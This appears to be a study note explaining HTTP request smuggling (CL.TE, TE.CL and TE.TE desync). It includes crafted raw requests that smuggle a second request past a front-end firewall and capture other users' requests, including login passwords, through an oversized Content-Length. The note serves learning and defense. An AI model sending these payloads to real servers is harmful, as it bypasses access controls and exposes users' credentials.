HTTP

How can a HTTP Request Smuggling vulnerability occur?

Refer to the notes on the Content-Length and Transfer-Encoding headers for more information

The vulnerability arises when the servers involved in the request interprets the HTTP request boundaries differently. This can happen in the following scenarios;

  1. Both the Content-Length and Transfer-Encoding headers are present

  2. The front-end server prioritizes Content-Length , while the back-end prioritizes Transfer-Encoding , and vice versa

    • Indicated as CL.TE and TE.CL respectively

Sometimes, TE.TE can happen too, when both the front-end and back-end servers uses the Transfer-Encoding header. In this case, a certain technique can be used to workaround this.

For the attack to work, a duplicate Transfer-Encoding header can be added with a malformed and invalid value such as:

POST / HTTP/1.1
...
Transfer-Encoding chunked
Transfer-Encoding random-invalid-value

xx
...
0

Basic example of an attack

Let's assume that the front-end server prioritizes Content-Length while the back-end prioritizes Transfer-Encoding . A HTTP request can be crafted to exploit the HTTP Request Smuggling vulnerability:

POST / HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Transfer-Encoding: chunked

0

POST /smuggled-request HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

name=test&query=test

Front-end server

In the following payload, the front-end server will first interpret the boundaries based on the Content-Length header (value of 140). This will interpret the entire request up to the end of the data body as a single request, and forward it to the back-end server.

Back-end server

The back-end server will interpret the boundaries based on the Transfer-Encoding header, and interpret the chunk size to be 0, and treat the first request to be:

POST / HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Transfer-Encoding: chunked

0 

Consequently, it will treat the second request as:

POST /smuggled-request HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

name=test&query=test

Variants of the attack

1. Bypass firewalls

Given that the second request should usually be blocked by the firewall running on the front-end server, by exploiting the HTTP Request Smuggling vulnerability, we have effectively bypassed the defense. Furthermore, the second request may not be logged at all by the servers.

2. Appending legitimate user request to the smuggled body

Assume the same front and back-end server configurations. Suppose there exists a feedback page that sends a POST request:

POST /feedback HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

name=name&query=query

We can craft the payload:

POST / HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Transfer-Encoding: chunked

0

POST /feedback HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 600

name=name&query=query

Notice that the Content-Length value for the smuggled request is 600, which is way larger than the content body that is supplied. In this case, the back-end server will pause and wait for the additional data to fill up the size of 600, before processing the request. Consequently, legitimate user requests may be appended to the smuggle request.

Suppose we have found another separate vulnerability that allows us to view the requests log that we have sent. Since the legitimate user's request have been appended to our smuggled request, we can now view the contents of their request, which might contain sensitive information.

Eg.

POST /feedback HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 600

name=name&query=queryPOST /login HTTP/1.1
Host: ...
...
user=user&password=pass1234

Last updated